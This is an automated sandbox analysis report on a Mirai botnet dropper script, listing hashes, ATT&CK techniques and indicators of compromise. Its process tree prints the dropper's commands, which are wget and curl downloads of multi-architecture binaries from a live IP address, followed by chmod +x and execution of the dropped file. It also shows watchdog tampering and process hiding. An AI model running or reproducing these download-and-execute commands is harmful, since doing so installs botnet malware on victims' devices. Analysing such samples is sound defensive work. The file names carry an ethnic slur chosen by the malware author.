mirai | c5529040db9e0e5cbe26dac8162859d8867ae845a6b2fdfdcad8ee2cfe63ff1d

Analysis

max time kernel
138s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
07/12/2024, 04:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

jewn.sh
Size

1KB
MD5

720a5e4e44f99b055d00bf5be3948b2d
SHA1

684fa717c79344199982029892b768a335682f57
SHA256

c5529040db9e0e5cbe26dac8162859d8867ae845a6b2fdfdcad8ee2cfe63ff1d
SHA512

c9b4f2f2e6f9e0c66421ae95641f013e7be7652e9b4787cc84cab88e24fe18e471b77249de3c210fe410e16312dbef499b5e81b8d03ffb4ad1796f5dc1a04b1a

Score

10^/10

mirai kurc botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

KURC

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (113420) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1489	chmod
1519	chmod
1546	chmod
1555	chmod
1564	chmod
1499	chmod
1508	chmod
1528	chmod
1537	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/jewn	1490	jewn
/tmp/jewn	1500	jewn
/tmp/jewn	1509	jewn
/tmp/jewn	1520	jewn
/tmp/jewn	1529	jewn
/tmp/jewn	1538	jewn
/tmp/jewn	1547	jewn
/tmp/jewn	1556	jewn
/tmp/jewn	1565	jewn

Modifies Watchdog functionality 1 TTPs 18 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/misc/watchdog	jewn
File opened for modification	/dev/watchdog	jewn
File opened for modification	/dev/watchdog	jewn

Enumerates active TCP sockets 1 TTPs 8 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 18 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn
File opened for modification	/sbin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn
File opened for modification	/bin/watchdog	jewn

Changes its process name 9 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1490	jewn
Changes the process name, possibly in an attempt to hide itself	1500	jewn
Changes the process name, possibly in an attempt to hide itself	1509	jewn
Changes the process name, possibly in an attempt to hide itself	1520	jewn
Changes the process name, possibly in an attempt to hide itself	1529	jewn
Changes the process name, possibly in an attempt to hide itself	1538	jewn
Changes the process name, possibly in an attempt to hide itself	1547	jewn
Changes the process name, possibly in an attempt to hide itself	1556	jewn
Changes the process name, possibly in an attempt to hide itself	1565	jewn

Reads system network configuration 1 TTPs 8 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn
File opened for reading	/proc/net/tcp	jewn

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/952/fd	jewn
File opened for reading	/proc/433/fd	jewn
File opened for reading	/proc/1174/fd	jewn
File opened for reading	/proc/949/fd	jewn
File opened for reading	/proc/1323/fd	jewn
File opened for reading	/proc/1478/fd	jewn
File opened for reading	/proc/1089/fd	jewn
File opened for reading	/proc/1242/fd	jewn
File opened for reading	/proc/1310/fd	jewn
File opened for reading	/proc/1242/fd	jewn
File opened for reading	/proc/1475/fd	jewn
File opened for reading	/proc/1063/fd	jewn
File opened for reading	/proc/1278/fd	jewn
File opened for reading	/proc/1502/fd	jewn
File opened for reading	/proc/1143/fd	jewn
File opened for reading	/proc/1316/fd	jewn
File opened for reading	/proc/1218/fd	jewn
File opened for reading	/proc/461/fd	jewn
File opened for reading	/proc/1174/fd	jewn
File opened for reading	/proc/1174/fd	jewn
File opened for reading	/proc/516/fd	jewn
File opened for reading	/proc/664/fd	jewn
File opened for reading	/proc/1294/fd	jewn
File opened for reading	/proc/249/fd	jewn
File opened for reading	/proc/649/fd	jewn
File opened for reading	/proc/946/fd	jewn
File opened for reading	/proc/323/fd	jewn
File opened for reading	/proc/1178/fd	jewn
File opened for reading	/proc/1155/fd	jewn
File opened for reading	/proc/1144/fd	jewn
File opened for reading	/proc/557/fd	jewn
File opened for reading	/proc/442/fd	jewn
File opened for reading	/proc/1039/fd	jewn
File opened for reading	/proc/502/fd	jewn
File opened for reading	/proc/531/fd	jewn
File opened for reading	/proc/1099/fd	jewn
File opened for reading	/proc/442/fd	jewn
File opened for reading	/proc/1475/fd	jewn
File opened for reading	/proc/483/fd	jewn
File opened for reading	/proc/1057/fd	jewn
File opened for reading	/proc/1076/fd	jewn
File opened for reading	/proc/1039/fd	jewn
File opened for reading	/proc/594/fd	jewn
File opened for reading	/proc/1243/fd	jewn
File opened for reading	/proc/1080/fd	jewn
File opened for reading	/proc/1057/fd	jewn
File opened for reading	/proc/1158/fd	jewn
File opened for reading	/proc/620/fd	jewn
File opened for reading	/proc/1144/fd	jewn
File opened for reading	/proc/481/fd	jewn
File opened for reading	/proc/1158/fd	jewn
File opened for reading	/proc/952/fd	jewn
File opened for reading	/proc/1069/fd	jewn
File opened for reading	/proc/1140/fd	jewn
File opened for reading	/proc/1363/fd	jewn
File opened for reading	/proc/1069/fd	jewn
File opened for reading	/proc/1159/fd	jewn
File opened for reading	/proc/516/fd	jewn
File opened for reading	/proc/1243/fd	jewn
File opened for reading	/proc/476/fd	jewn
File opened for reading	/proc/404/fd	jewn
File opened for reading	/proc/531/fd	jewn
File opened for reading	/proc/949/fd	jewn
File opened for reading	/proc/1053/fd	jewn

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1493	wget
1497	curl

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jew.mips	wget
File opened for modification	/tmp/jew.arm5	curl
File opened for modification	/tmp/jew.arm7	wget
File opened for modification	/tmp/jew.m68k	curl
File opened for modification	/tmp/jew.x86	curl
File opened for modification	/tmp/jewn	jewn.sh
File opened for modification	/tmp/jew.mips	curl
File opened for modification	/tmp/jew.ppc	wget
File opened for modification	/tmp/jew.mpsl	wget
File opened for modification	/tmp/jew.arm4	curl
File opened for modification	/tmp/jew.arm5	wget
File opened for modification	/tmp/jew.arm7	curl
File opened for modification	/tmp/jew.ppc	curl
File opened for modification	/tmp/jew.m68k	wget
File opened for modification	/tmp/jew.x86	wget
File opened for modification	/tmp/jew.mpsl	curl
File opened for modification	/tmp/jew.arm6	wget
File opened for modification	/tmp/jew.arm6	curl

/tmp/jewn.sh
/tmp/jewn.sh
1⤵
- Writes file to tmp directory
PID:1473
- /usr/bin/wget
  wget http://104.234.240.71/bins/jew.x86
  2⤵
  - Writes file to tmp directory
  PID:1474
- /usr/bin/curl
  curl -O http://104.234.240.71/bins/jew.x86
  2⤵
  - Writes file to tmp directory
  PID:1487
- /bin/cat
  cat jew.x86
  2⤵
  PID:1488
- /bin/chmod
  chmod +x config-err-Hj9LqL jewn jewn.sh jew.x86 netplan_54yg1p6y snap-private-tmp ssh-spb1FGcR5eBF systemd-private-82f832d9f4f44757bf8d671b2ec470fd-bolt.service-oNYCgG systemd-private-82f832d9f4f44757bf8d671b2ec470fd-colord.service-2JgFgJ systemd-private-82f832d9f4f44757bf8d671b2ec470fd-ModemManager.service-E3sx0x systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-resolved.service-CXoo4W systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-timedated.service-UxRuDy
  2⤵
  - File and Directory Permissions Modification
  PID:1489
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  PID:1490
- /usr/bin/wget
  wget http://104.234.240.71/bins/jew.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1493
- /usr/bin/curl
  curl -O http://104.234.240.71/bins/jew.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1497
- /bin/chmod
  chmod +x config-err-Hj9LqL jew.mips jewn jewn.sh jew.x86 netplan_54yg1p6y snap-private-tmp ssh-spb1FGcR5eBF systemd-private-82f832d9f4f44757bf8d671b2ec470fd-bolt.service-oNYCgG systemd-private-82f832d9f4f44757bf8d671b2ec470fd-colord.service-2JgFgJ systemd-private-82f832d9f4f44757bf8d671b2ec470fd-ModemManager.service-E3sx0x systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-resolved.service-CXoo4W systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-timedated.service-UxRuDy
  2⤵
  - File and Directory Permissions Modification
  PID:1499
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1500
- /usr/bin/wget
  wget http://104.234.240.71/bins/jew.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1503
- /usr/bin/curl
  curl -O http://104.234.240.71/bins/jew.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/chmod
  chmod +x config-err-Hj9LqL jew.mips jew.mpsl jewn jewn.sh jew.x86 netplan_54yg1p6y snap-private-tmp ssh-spb1FGcR5eBF systemd-private-82f832d9f4f44757bf8d671b2ec470fd-bolt.service-oNYCgG systemd-private-82f832d9f4f44757bf8d671b2ec470fd-colord.service-2JgFgJ systemd-private-82f832d9f4f44757bf8d671b2ec470fd-ModemManager.service-E3sx0x systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-resolved.service-CXoo4W systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-timedated.service-UxRuDy
  2⤵
  - File and Directory Permissions Modification
  PID:1508
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1509
- /usr/bin/wget
  wget http://104.234.240.71/bins/jew.arm4
  2⤵
  PID:1514
- /usr/bin/curl
  curl -O http://104.234.240.71/bins/jew.arm4
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod +x config-err-Hj9LqL jew.arm4 jew.mips jew.mpsl jewn jewn.sh jew.x86 netplan_54yg1p6y snap-private-tmp ssh-spb1FGcR5eBF systemd-private-82f832d9f4f44757bf8d671b2ec470fd-bolt.service-oNYCgG systemd-private-82f832d9f4f44757bf8d671b2ec470fd-colord.service-2JgFgJ systemd-private-82f832d9f4f44757bf8d671b2ec470fd-ModemManager.service-E3sx0x systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-resolved.service-CXoo4W
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1520
- /usr/bin/wget
  wget http://104.234.240.71/bins/jew.arm5
  2⤵
  - Writes file to tmp directory
  PID:1523
- /usr/bin/curl
  curl -O http://104.234.240.71/bins/jew.arm5
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/chmod
  chmod +x config-err-Hj9LqL jew.arm4 jew.arm5 jew.mips jew.mpsl jewn jewn.sh jew.x86 netplan_54yg1p6y snap-private-tmp ssh-spb1FGcR5eBF systemd-private-82f832d9f4f44757bf8d671b2ec470fd-bolt.service-oNYCgG systemd-private-82f832d9f4f44757bf8d671b2ec470fd-colord.service-2JgFgJ systemd-private-82f832d9f4f44757bf8d671b2ec470fd-ModemManager.service-E3sx0x systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-resolved.service-CXoo4W
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1529
- /usr/bin/wget
  wget http://104.234.240.71/bins/jew.arm6
  2⤵
  - Writes file to tmp directory
  PID:1532
- /usr/bin/curl
  curl -O http://104.234.240.71/bins/jew.arm6
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/chmod
  chmod +x config-err-Hj9LqL jew.arm4 jew.arm5 jew.arm6 jew.mips jew.mpsl jewn jewn.sh jew.x86 netplan_54yg1p6y snap-private-tmp ssh-spb1FGcR5eBF systemd-private-82f832d9f4f44757bf8d671b2ec470fd-bolt.service-oNYCgG systemd-private-82f832d9f4f44757bf8d671b2ec470fd-colord.service-2JgFgJ systemd-private-82f832d9f4f44757bf8d671b2ec470fd-ModemManager.service-E3sx0x systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-resolved.service-CXoo4W
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1538
- /usr/bin/wget
  wget http://104.234.240.71/bins/jew.arm7
  2⤵
  - Writes file to tmp directory
  PID:1541
- /usr/bin/curl
  curl -O http://104.234.240.71/bins/jew.arm7
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod +x config-err-Hj9LqL jew.arm4 jew.arm5 jew.arm6 jew.arm7 jew.mips jew.mpsl jewn jewn.sh jew.x86 netplan_54yg1p6y snap-private-tmp ssh-spb1FGcR5eBF systemd-private-82f832d9f4f44757bf8d671b2ec470fd-bolt.service-oNYCgG systemd-private-82f832d9f4f44757bf8d671b2ec470fd-colord.service-2JgFgJ systemd-private-82f832d9f4f44757bf8d671b2ec470fd-ModemManager.service-E3sx0x systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-resolved.service-CXoo4W
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1547
- /usr/bin/wget
  wget http://104.234.240.71/bins/jew.ppc
  2⤵
  - Writes file to tmp directory
  PID:1550
- /usr/bin/curl
  curl -O http://104.234.240.71/bins/jew.ppc
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/chmod
  chmod +x config-err-Hj9LqL jew.arm4 jew.arm5 jew.arm6 jew.arm7 jew.mips jew.mpsl jewn jewn.sh jew.ppc jew.x86 netplan_54yg1p6y snap-private-tmp ssh-spb1FGcR5eBF systemd-private-82f832d9f4f44757bf8d671b2ec470fd-bolt.service-oNYCgG systemd-private-82f832d9f4f44757bf8d671b2ec470fd-colord.service-2JgFgJ systemd-private-82f832d9f4f44757bf8d671b2ec470fd-ModemManager.service-E3sx0x systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-resolved.service-CXoo4W
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1556
- /usr/bin/wget
  wget http://104.234.240.71/bins/jew.m68k
  2⤵
  - Writes file to tmp directory
  PID:1559
- /usr/bin/curl
  curl -O http://104.234.240.71/bins/jew.m68k
  2⤵
  - Writes file to tmp directory
  PID:1562
- /bin/chmod
  chmod +x config-err-Hj9LqL jew.arm4 jew.arm5 jew.arm6 jew.arm7 jew.m68k jew.mips jew.mpsl jewn jewn.sh jew.ppc jew.x86 netplan_54yg1p6y snap-private-tmp ssh-spb1FGcR5eBF systemd-private-82f832d9f4f44757bf8d671b2ec470fd-bolt.service-oNYCgG systemd-private-82f832d9f4f44757bf8d671b2ec470fd-colord.service-2JgFgJ systemd-private-82f832d9f4f44757bf8d671b2ec470fd-ModemManager.service-E3sx0x systemd-private-82f832d9f4f44757bf8d671b2ec470fd-systemd-resolved.service-CXoo4W
  2⤵
  - File and Directory Permissions Modification
  PID:1564
- /tmp/jewn
  ./jewn
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1565
- /usr/bin/wget
  wget http://104.234.240.71/bins/jew.sh4
  2⤵
  PID:1568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/jewn

Filesize
60KB

MD5
c790dde9d4762b3e82c0d9e41df91fb9

SHA1
341070d0148f795a2b6dd1d988e497f4084bebe7

SHA256
e8ca93ec9f737481e131b64981ebf0212958dd1b43ef36a944869ae0f603e6f1

SHA512
ffa49eae4d60f3ff6f1b0fe053c5f8293e6eca3737d2805e464336376ca6f705da949936530c595bc33b4c49b7a80d8672f03414f027421394436b26c471697f

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads